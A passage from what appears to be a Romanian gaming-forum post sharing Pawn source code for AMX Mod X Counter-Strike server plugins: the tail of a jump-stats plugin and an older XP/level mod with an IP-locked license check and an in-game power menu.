remove_task(id+3214, 0);
if( task_exists(id+15237, 0) )
remove_task(id+15237, 0);
if( task_exists(id+212398, 0) )
remove_task(id+212398, 0);
g_alive[id] = false;
}
public client_disconnect(id)
{
if(kz_sql == 1 || kz_sql == 2)
{
new tmp_str[12];
num_to_str(g_sql_pid[id], tmp_str, 11);
if(TrieKeyExists(JumpPlayers, tmp_str))
TrieDeleteKey(JumpPlayers, tmp_str);
}
remove_beam_ent(id);
player_admin[id]=false;
g_pBot[id]=false;
login[id]=false;
g_userConnected[id]=false;
OnGround[id]=false;
g_alive[id]=false;
if( task_exists(id, 0) )
remove_task(id);
firstshow[id]=false;
if( task_exists(id+434490, 0) )
remove_task(id+434490, 0);
if( task_exists(id, 0) )
remove_task(id, 0);
if( task_exists(id+89012, 0) )
remove_task(id+89012, 0);
if( task_exists(id+3313, 0) )
remove_task(id+3313, 0);
if( task_exists(id+3214, 0) )
remove_task(id+3214, 0);
if( task_exists(id+15237, 0) )
remove_task(id+15237, 0);
if( task_exists(id+212299, 0) )
remove_task(id+212299, 0);
if( task_exists(id+212398, 0) )
remove_task(id+212398, 0);
if( task_exists(id, 0) )
remove_task(id, 0);
}
public reset_tops(id, level, cid)
{
if( !cmd_access(id, level, cid, 1) ) return PLUGIN_HANDLED;
if(kz_sql == 0)
{
client_print(id,print_console,"%L",LANG_SERVER,"UQSTATS_RESET");
server_print("%L",LANG_SERVER,"UQSTATS_RESET");
TrieClear(JData);
TrieClear(JData_Block);
}
else if(kz_sql == 1)
{
client_print(id,print_console,"%L",LANG_SERVER,"UQSTATS_RESETF");
server_print("%L",LANG_SERVER,"UQSTATS_RESETF");
}
return PLUGIN_CONTINUE;
}
public Option(id)
{
new MenuBody[512], len, keys;
len = format(MenuBody, 511, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU1");
if(g_lj_stats[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU11a");
keys |= (1<<0);
}
else
{
keys |= (1<<0);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU11b");
}
if(gHasColorChat[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU12a");
keys |= (1<<1);
}
else
{
keys |= (1<<1);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU12b");
}
if(speedon[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU13a");
keys |= (1<<2);
}
else
{
keys |= (1<<2);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU13b");
}
if(showpre[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU14a");
keys |= (1<<3);
}
else
{
keys |= (1<<3);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU14b");
}
if(streifstat[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU15a");
keys |= (1<<4);
}
else
{
keys |= (1<<4);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU15b");
}
if(kz_beam[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU16a");
keys |= (1<<5);
}
else
{
keys |= (1<<5);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU16b");
}
if(showduck[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU17a");
keys |= (1<<6);
}
else
{
keys |= (1<<6);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU17b");
}
if(failearly[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU18a");
keys |= (1<<7);
}
else
{
keys |= (1<<7);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU18b");
}
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENUNEXT");
keys |= (1<<8);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENUEXIT");
keys |= (1<<9);
show_menu(id, keys, MenuBody, -1, "StatsOptionMenu1");
}
public OptionMenu1(id, key)
{
switch((key+1))
{
case 1:
{
cmdljStats(id);
Option(id);
}
case 2:
{
cmdColorChat(id);
Option(id);
}
case 3:
{
show_speed(id);
Option(id);
}
case 4:
{
show_pre(id);
Option(id);
}
case 5:
{
streif_stats(id);
Option(id);
}
case 6:
{
cmdljbeam(id);
Option(id);
}
case 7:
{
duck_show(id);
Option(id);
}
case 8:
{
show_early(id);
Option(id);
}
case 9:
{
Option2(id);
}
}
return PLUGIN_HANDLED;
}
public Option2(id)
{
new MenuBody[512], len, keys;
len = format(MenuBody, 511, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU2");
if(multibhoppre[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU21a");
keys |= (1<<0);
}
else
{
keys |= (1<<0);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU21b");
}
if(Show_edge[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU22a");
keys |= (1<<1);
}
else
{
keys |= (1<<1);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU22b");
}
if(Show_edge_Fail[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU23a");
keys |= (1<<2);
}
else
{
keys |= (1<<2);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU23b");
}
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU24",user_block[id][1]);
keys |= (1<<3);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU25",user_block[id][0]);
keys |= (1<<4);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU26",min_prestrafe[id]);
keys |= (1<<5);
if(beam_type[id]==1)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU27a");
keys |= (1<<6);
}
else if(beam_type[id]==2)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU27b");
keys |= (1<<6);
}
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU2BACK");
keys |= (1<<7);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU2NEXT");
keys |= (1<<8);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENUEXIT");
keys |= (1<<9);
show_menu(id, keys, MenuBody, -1, "StatsOptionMenu2");
}
public OptionMenu2(id, key)
{
switch((key+1))
{
case 1:
{
multi_bhop(id);
Option2(id);
}
case 2:
{
Showedge(id);
Option2(id);
}
case 3:
{
ShowedgeFail(id);
Option2(id);
}
case 4:
{
user_block[id][1]=user_block[id][1]+10;
if(user_block[id][1]>=user_block[id][0])
{
user_block[id][1]=uq_minedge;
}
Option2(id);
}
case 5:
{
if(user_block[id][0]==uq_maxedge)
{
user_block[id][0]=user_block[id][1];
client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU2MAXVALUE1",uq_maxedge);
}
user_block[id][0]=user_block[id][0]+10;
Option2(id);
}
case 6:
{
if(min_prestrafe[id]>=320)
{
min_prestrafe[id]=0;
client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU2MAXVALUE2");
}
min_prestrafe[id]=min_prestrafe[id]+20;
Option2(id);
}
case 7:
{
if(beam_type[id]==1)
{
beam_type[id]=2;
client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU2BEAMT1");
}
else
{
beam_type[id]=1;
client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU2BEAMT2");
}
Option2(id);
}
case 8:
{
Option(id);
}
case 9:
{
Option3(id);
}
}
return PLUGIN_HANDLED;
}
public Option3(id)
{
new MenuBody[512], len, keys;
len = format(MenuBody, 511, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU3");
if(enable_sound[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU31a");
keys |= (1<<0);
}
else
{
keys |= (1<<0);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU31b");
}
if(showjofon[id]==true)
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU32a");
keys |= (1<<1);
}
else
{
keys |= (1<<1);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU32b");
}
if(height_show[id])
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU33a");
keys |= (1<<2);
}
else
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU33b");
keys |= (1<<2);
}
if(jofon[id])
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU34a");
keys |= (1<<3);
}
else
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU34b");
keys |= (1<<3);
}
if(jheight_show[id])
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU35a");
keys |= (1<<4);
}
else
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU35b");
keys |= (1<<4);
}
if(uq_istrafe)
{
if(ingame_strafe[id])
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU36a");
keys |= (1<<5);
}
else
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU36b");
keys |= (1<<5);
}
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU38",showtime_st_stats[id]/10);
keys |= (1<<6);
}
else
{
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU37");
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU38F",showtime_st_stats[id]/10);
}
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU3BACK");
keys |= (1<<8);
len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENUEXIT");
keys |= (1<<9);
show_menu(id, keys, MenuBody, -1, "StatsOptionMenu3");
}
public OptionMenu3(id, key)
{
switch((key+1))
{
case 1:
{
enable_sounds(id);
Option3(id);
}
case 2:
{
show_jof(id);
Option3(id);
}
case 3:
{
heightshow(id);
Option3(id);
}
case 4:
{
trainer_jof(id);
Option3(id);
}
case 5:
{
show_jheight(id);
Option3(id);
}
case 6:
{
ingame_st_stats(id);
Option3(id);
}
case 7:
{
if(showtime_st_stats[id]==200)
{
client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU3MAXSEC");
showtime_st_stats[id]=0;
}
showtime_st_stats[id]=showtime_st_stats[id]+10;
Option3(id);
}
case 9:
{
Option2(id);
}
}
return PLUGIN_HANDLED;
}
public native_kz_get_configsdir(name[], len)
{
param_convert(1);
new lalin[64];
get_localinfo("amxx_configsdir", lalin,63);
return formatex(name, len, "%s/%s", lalin, KZ_DIR);
}
public plugin_end()
{
if(kz_sql == 1)
{
if(DB_TUPLE)
SQL_FreeHandle(DB_TUPLE);
if(SqlConnection)
SQL_FreeHandle(SqlConnection);
TrieDestroy(JumpPlayers);
}
else if(kz_sql == 0)
{
TrieDestroy(JData);
TrieDestroy(JData_Block);
}
}
un levelmod mai vechi
Code: Select all
/* AMX Mod X
* Level Mod Plugin
*
* by
*
* This file is part of AMX Mod X.
*
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at
* your option) any later version.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
* In addition, as a special exception, the author gives permission to
* link the code of this program with the Half-Life Game Engine ("HL
* Engine") and Modified Game Libraries ("MODs") developed by Valve,
* L.L.C ("Valve"). You must obey the GNU General Public License in all
* respects for all of the code used other than the HL Engine and MODs
* from Valve. If you modify this file, you may extend this exception
* to your version of the file, but you are not obligated to do so. If
* you do not wish to do so, delete this exception statement from your
* version.
*/
#include <amxmodx>
#include <amxmisc>
#include <fun>
#include <hamsandwich>
#include <nvault>
#include <fakemeta>
#include <cstrike>
#include <engine>
#include <colorchat>
static const ServerLicensedIp[ ] = "89.40.233.28";
new const PLUGIN_NAME[] = "Level Mod";
new const hnsxp_version[] = "5.1";
new const LEVELS[100] = {
100, // 1
300, // 2
500, // 3
700, // 4
900, // 5
1000, // 6
1500, // 7
2000, // 8
2500, // 10
3000, // 11
4000, // 12
5000, // 13
6000, // 14
7000, // 15
10000, // 16
12000, // 17
13000, // 18
15000, // 19
20000, // 20
25000, // 21
30000, // 22
35000, // 23
40000, // 24
45000, // 25
50000, // 26
60000, // 27
70000, // 28
80000, // 29
100000, // 30
120000, // 31
130000, //32
140000, // 33
150000, // 34
160000, // 35
170000, // 36
180000, // 37
190000, // 38
195000, // 39
200000, // 40
250000, // 41
300000, // 42
350000, // 43
400000, // 44
500000, // 45
600000, // 46
700000, // 47
800000, // 48
900000, // 49
1000000, // 50
1300000, // 51
1500000, // 2
1800000, // 3
2000000, // 4
2250000, // 5
2500000, // 6
2750000, // 7
2900000, // 8
3000000, // 10
3500000, // 11
4000000, // 12
4500000, // 13
5000000, // 14
5500000, // 15
6000000, // 16
6500000, // 17
7000000, // 18
7500000, // 19
8500000, // 20
9000000, // 21
10000000, // 22
11000000, // 23
22000000, // 24
23000000, // 25
24000000, // 26
25000000, // 27
26000000, // 28
27000000, // 29
28000000, // 30
29000000, // 31
30000000, //32
40000000, // 33
50000000, // 34
60000000, // 35
70000000, // 36
80000000, // 37
90000000, // 38
100000000, // 39
150000000, // 40
200000000, // 41
300000000, // 42
400000000, // 43
500000000, // 44
600000000, // 45
700000000, // 46
750000000, // 47
850000000, // 48
909990000, // 97
1000000000, // 98
1000500000, // 99
2000000000 // 100
}
new hnsxp_playerxp[33], hnsxp_playerlevel[33];
new hnsxp_kill, hnsxp_savexp, g_hnsxp_vault, tero_win, vip_enable, vip_xp;
new awp[33]=0,respawn[33]=0,bool:has_gravity[33],bool:has_godmode[33],accesari[33]=0,Float:Gravity//,gRadioMenu
const KEYSMENU = MENU_KEY_1|MENU_KEY_2|MENU_KEY_3|MENU_KEY_4|MENU_KEY_5|MENU_KEY_6|MENU_KEY_7|MENU_KEY_8|MENU_KEY_9|MENU_KEY_0
public plugin_init()
{
new szIp[ 25 ];
get_user_ip( 0, szIp, sizeof ( szIp ) -1, 1 );
if( equal( szIp, ServerLicensedIp ) )
{
register_plugin(PLUGIN_NAME, hnsxp_version, "");
RegisterHam(Ham_Spawn, "player", "hnsxp_spawn", 1);
RegisterHam(Ham_Killed, "player", "hnsxp_death", 1);
hnsxp_savexp = register_cvar("hnsxp_savexp","1");
hnsxp_kill = register_cvar("hnsxp_kill", "1200");
tero_win = register_cvar("hnsxp_terowin_xp","500");
vip_enable = register_cvar("hnsxp_vip_enable","1");
vip_xp = register_cvar("hnsxp_vip_xp","900");
register_forward(FM_ClientUserInfoChanged, "ClientUserInfoChanged")
register_clcmd("say /level","plvl");
register_clcmd("say /xp","plvl");
register_clcmd("say /levels","plvls");
register_clcmd("say_team /level","plvl");
register_clcmd("say_team /xp","plvl");
register_clcmd("say /lvl","tlvl");
g_hnsxp_vault = nvault_open("deathrun_xp");
register_concmd("amx_levelxx", "cmd_give_level", ADMIN_RCON, "<target> <amount>");
register_concmd("amx_takelevelxx", "cmd_take_level", ADMIN_RCON, "<target> <amount>");
register_concmd("amx_xpxx", "cmd_give_xp", ADMIN_RCON, "<target> <amount>");
register_concmd("amx_takexpxx", "cmd_take_xp", ADMIN_RCON, "<target> <amount>");
register_event("SendAudio", "t_win", "a", "2&%!MRAD_terwin")
register_event ( "CurWeapon", "CurrentWeapon", "be", "1=1" );
register_clcmd ( "say /levels", "cmdLevels" );
register_clcmd("say /lvlpower","LevelMenu");
register_logevent ( "round_start", 2, "1=Round_Start" );
register_event("CurWeapon" , "CWeapon" , "be" , "1=1" );
register_event("TextMsg", "eRestart", "a", "2&#Game_C", "2&#Game_w")
register_menu("Game Menu", KEYSMENU, "radio")
}
else
{
new szPluginName[ 32 ];
formatex( szPluginName, sizeof( szPluginName ) -1, "[IP Nelicentiat] %s", PLUGIN_NAME );
register_plugin( szPluginName, hnsxp_version, "" );
server_print( "[%s] Nu detii o licenta valabila ! Plugin-ul nu va functiona corespunzator !", PLUGIN_NAME );
server_print( "[%s] Pentru mai multe detalii Skype: levin.akee !", PLUGIN_NAME );
server_print( "[%s] Ip-ul Licentiat: %s, Ip-ul Serverului: %s", PLUGIN_NAME, szIp, ServerLicensedIp );
pause( "ade" );
}
}
public plugin_natives()
{
register_library("levelmod.inc");
register_native("get_user_xp","_get_user_xp");
register_native("get_user_level","_get_user_level");
}
public _get_user_xp(plugin, params)
{
return hnsxp_playerxp[get_param(1)];
}
public _get_user_level(plugin, params)
{
return hnsxp_playerlevel[get_param(1)];
}
public hnsxp_spawn(id)
{
//for(new id=1;id<=get_maxplayers();id++)
//{
if ( is_user_alive ( id ) )
{
/*if(hnsxp_playerxp[attacker] > 2000000000) // sau level mai mare de 100
return;*/
//else
// 101 >= / >
if((hnsxp_playerlevel[id] < 100 && (hnsxp_playerxp[id] > LEVELS[hnsxp_playerlevel[id]]))) //new..
{
MesajColorat(id,"!echipa[%s] !verdeAi trecut levelul", PLUGIN_NAME);
/*if(hnsxp_playerxp[id] >= LEVELS[hnsxp_playerlevel[id]])
{
MesajColorat(id,"!echipa[%s] !verdeAi trecut levelul", PLUGIN_NAME);
}*/
//> / >=
while(hnsxp_playerxp[id] > LEVELS[hnsxp_playerlevel[id]])
{
hnsxp_playerlevel[id] += 1;
//MesajColorat(id,"!echipa[%s] !verdeAi trecut levelul", PLUGIN_NAME); bun
}
}
set_task(12.0, "gItem", id);
}
//}
}
public LevelMenu(id)
{
if(hnsxp_playerlevel[id]>=70)
{
ShowMenu(id)
}
else
{
MesajColorat(id, "!echipa[Level Mod] !verdeTrebuie sa ai level!echipa minim 70!verde ca sa accesezi acest!echipa Menu")
return PLUGIN_HANDLED
}
return PLUGIN_HANDLED
}
public eRestart()
{
for(new id=1;id<=get_maxplayers();id++)
{
//accesari[id]=0
//awp[id]=0
//respawn[id]=0
has_godmode[id]=false
has_gravity[id]=false
}
}
public round_start ( )
{
new iPlayers [ 32 ], iNum, i;
get_players ( iPlayers, iNum, "ch" );
if ( !iNum ) return;
for ( i = 0; i < iNum; i++ )
{
new id = iPlayers [ i ];
if ( awp[ id ] > 0 )
{
awp [ id ]--;
}
else if ( awp[ id ] > 3 ) // else out
{
awp [ id ] = 0;
}
if ( respawn[ id ] > 0 )
{
respawn [ id ]--;
}
else if ( respawn[ id ] > 3 )
{
respawn [ id ] = 0;
}
accesari[id]=0
}
}
public client_connect(id)
{
if(get_pcvar_num(hnsxp_savexp) == 1) LoadData(id);
awp[id]=0
respawn[id]=0
accesari[id]=0
has_godmode[id]=false
has_gravity[id]=false
}
public client_disconnected(id)
{
if(get_pcvar_num(hnsxp_savexp) == 1) SaveData(id);
hnsxp_playerxp[id] = 0; // de scos +
hnsxp_playerlevel[id] = 0;
awp[id]=0
respawn[id]=0
accesari[id]=0
has_godmode[id]=false
has_gravity[id]=false
}
public ShowMenu(id)
{
if(accesari[id]>2)
{
MesajColorat(id, "!echipa[Level Mod] !verdePoti accesa acest!echipa Menu!verde doar de!echipa 3!verde ori pe!echipa Runda!verde!")
return PLUGIN_HANDLED
}
static menu[512], len
len = 0
len += formatex(menu[len], charsmax(menu) - len, "\w[\r HNS.PLAY-ARENA.RO\w -\r lvlpower \w]^n^n")
len += formatex(menu[len], charsmax(menu) - len, "\w-\r[\w1\r]\w -\r AWP [\w1\r] [\wGL\r] [\wx2\r] [\wRUNDE\r]^n")
len += formatex(menu[len], charsmax(menu) - len, "\w-\r[\w2\r]\w -\r Respawn [\w1\r] [\wx2\r] [\wRUNDE\r]^n")
len += formatex(menu[len], charsmax(menu) - len, "\w-\r[\w3\r]\w -\r Gravity [\w450\r] [\w30\r] [\wSEC\r]^n")
len += formatex(menu[len], charsmax(menu) - len, "\w-\r[\w4\r]\w -\r GodMode [\w20\r] [\wSEC\r]^n")
len += formatex(menu[len], charsmax(menu) - len, "\w-\r[\w5\r]\w -\r AK47 [\w2GL\r]^n^n")
show_menu(id, KEYSMENU, menu, -1, "Game Menu")
/*
gRadioMenu = menu_create ( "[\r HNS.PLAY-ARENA.RO\w -\r lvlpower ]" , "radio" );
menu_additem ( gRadioMenu , "-[1] - AWP [1] [GL] [x2] [RUNDE]" , "1" );
menu_additem ( gRadioMenu , "-[2] - Respawn [1] [x2] [RUNDE]" , "2" );
menu_additem ( gRadioMenu , "-[3] - Gravity [450] [30] [SEC]" , "3" );
menu_additem ( gRadioMenu , "-[4] - GodMode [20] [SEC]" , "4" );
menu_additem ( gRadioMenu , "-[5] - AK47 [2GL]" , "5" );
menu_setprop ( gRadioMenu , MPROP_EXIT , MEXIT_ALL );
menu_display ( id , gRadioMenu );
*/
return 1;
}
public radio ( id , key /*, Menu , Item*/ )
{
/*if ( Item < 0 )
{
return 0;
}
new Key [ 3 ];
new Access , CallBack;
menu_item_getinfo ( Menu , Item , Access , Key , 2 , _ , _ , CallBack );
new isKey = str_to_num ( Key );*/
switch ( key/*isKey*/ )
{
case 0:
{
if(!is_user_alive(id))
{
ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fii in viata")
return PLUGIN_HANDLED
}
if(user_has_weapon(id,CSW_AWP))
{
ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Ai deja^3 AWP")
return PLUGIN_HANDLED
}
if ( awp [ id ] > 0 )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 AWP^x01-ul odata la^x04 2^x01 runde. Mai ai de asteptat^x03 %i^x01 rund%s", awp [ id ], awp [ id ] == 1 ? "a" : "e" );
return PLUGIN_HANDLED;
}
else
{
give_item(id,"weapon_awp")
new eNtry = find_ent_by_owner ( -1, "weapon_awp", id );
if ( eNtry )
{
cs_set_weapon_ammo ( eNtry, 1 );
if(cs_get_user_bpammo(id,eNtry)>0) cs_set_user_bpammo(id,eNtry,0)
}
awp[id]=3
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^3 AWP^1 cu^4 1 GLONT")
accesari[id]++
}
}
case 1:
{
if(is_user_alive(id))
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Esti deja in^3 Viata^4!" );
return PLUGIN_HANDLED;
}
if ( respawn [ id ] > 0 )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 RESPAWN^x01-ul odata la^x04 2^x01 runde. Mai ai de asteptat^x03 %i^x01 rund%s", respawn [ id ], respawn [ id ] == 1 ? "a" : "e" );
return PLUGIN_HANDLED;
}
else
{
ExecuteHamB ( Ham_CS_RoundRespawn, id );
respawn[id]=3
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^3 RESPAWN")
accesari[id]++
}
}
case 2:
{
if(!is_user_alive(id))
{
ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fii in viata")
return PLUGIN_HANDLED
}
if(has_gravity[id])
{
ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Ai deja^3 Gravitiatie")
return PLUGIN_HANDLED
}
else
{
has_gravity[id]=true
Gravity=450.0/500.0
set_user_gravity(id,Gravity)
set_task(30.0,"REMOVE_GRAVITY",id)
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^3 Gravitatie^1 pentru^4 30 Secunde")
accesari[id]++
}
}
case 3:
{
if(!is_user_alive(id))
{
ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fii in viata")
return PLUGIN_HANDLED
}
if(has_godmode[id])
{
ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Ai deja^3 GodMode")
return PLUGIN_HANDLED
}
else
{
has_godmode[id]=true
set_user_godmode(id,1)
set_task(20.0,"REMOVE_GODMODE",id)
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^3 GodMode^1 pentru^4 20 Secunde")
accesari[id]++
}
}
case 4:
{
if(!is_user_alive(id))
{
ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fii in viata")
return PLUGIN_HANDLED
}
if(user_has_weapon(id,CSW_AK47))
{
ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Ai deja^3 AK47")
return PLUGIN_HANDLED
}
give_item(id,"weapon_ak47")
new eNtry = find_ent_by_owner ( -1, "weapon_ak47", id );
if ( eNtry )
{
cs_set_weapon_ammo ( eNtry, 2 );
if(cs_get_user_bpammo(id,eNtry)>0) cs_set_user_bpammo(id,eNtry,0)
}
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^3 AK47^1 cu^4 2 GLOANTE")
accesari[id]++
}
}
return 1;
}
public CWeapon(id)//lient_PostThink(id) +out din init
{
if(is_user_alive(id)&&has_gravity[id])
{
Gravity=450.0/500.0
if(get_user_weapon(id)) set_user_gravity(id,Gravity)
}
}
public REMOVE_GRAVITY(id)
{
if(is_user_connected(id)&&has_gravity[id])
{
has_gravity[id]=false
remove_task(id)
Gravity=1.0
set_user_gravity(id,Gravity)
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Tocmai ti-a expirat^3 Gravitatia")
}
}
public REMOVE_GODMODE(id)
{
if(is_user_connected(id)&&has_godmode[id])
{
has_godmode[id]=false
remove_task(id)
set_user_godmode(id)
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Tocmai ti-a expirat^3 GodMod-ul")
}
}
public gItem(id)
{
switch(hnsxp_playerlevel[id])
{
case 1..19:
{
give_item(id, "weapon_hegrenade");
give_item(id, "weapon_smokegrenade");
give_item ( id, "weapon_deagle" );
new eNtry = find_ent_by_owner ( -1, "weapon_deagle", id );
if ( eNtry )
{
cs_set_weapon_ammo ( eNtry, 1 );
}
set_user_health ( id, get_user_health ( id ) + 2 );
remove_task(id);
}
case 20..39:
{
give_item(id, "weapon_hegrenade");
give_item(id, "weapon_smokegrenade");
cs_set_user_bpammo(id, CSW_HEGRENADE, 2);
cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 2);
set_user_health ( id, get_user_health ( id ) + 5 );
give_item ( id, "weapon_deagle" );
new eNtry = find_ent_by_owner ( -1, "weapon_deagle", id );
if ( eNtry )
{
cs_set_weapon_ammo ( eNtry, 2 );
}
cs_set_user_bpammo(id, CSW_DEAGLE, 0);
remove_task(id);
}
case 40..59:
{
give_item(id, "weapon_hegrenade");
give_item(id, "weapon_smokegrenade");
cs_set_user_bpammo(id, CSW_HEGRENADE, 3);
cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 3);
set_user_health ( id, get_user_health ( id ) + 9 );
give_item ( id, "weapon_deagle" );
new eNtry = find_ent_by_owner ( -1, "weapon_deagle", id );
if ( eNtry )
{
cs_set_weapon_ammo ( eNtry, 3 );
}
cs_set_user_bpammo(id, CSW_DEAGLE, 0);
remove_task(id);
}
case 60..79:
{
give_item(id, "weapon_hegrenade");
give_item(id, "weapon_smokegrenade");
cs_set_user_bpammo(id, CSW_HEGRENADE, 3);
cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 4);
set_user_health ( id, get_user_health ( id ) + 12 );
give_item ( id, "weapon_deagle" );
new eNtry = find_ent_by_owner ( -1, "weapon_deagle", id );
if ( eNtry )
{
cs_set_weapon_ammo ( eNtry, 4 );
}
cs_set_user_bpammo(id, CSW_DEAGLE, 0);
CurrentWeapon ( id );
remove_task(id);
}
case 80..100:
{
give_item(id, "weapon_hegrenade");
give_item(id, "weapon_smokegrenade");
cs_set_user_bpammo(id, CSW_HEGRENADE, 4);
cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 4);
set_user_health ( id, get_user_health ( id ) + 20 );
give_item ( id, "weapon_deagle" );
new eNtry = find_ent_by_owner ( -1, "weapon_deagle", id );
if ( eNtry )
{
cs_set_weapon_ammo ( eNtry, 5 );
}
cs_set_user_bpammo(id, CSW_DEAGLE, 0);
CurrentWeapon ( id );
remove_task(id);
}
}
}
public plvl(id)
{
if ( is_user_connected ( id ) )
{
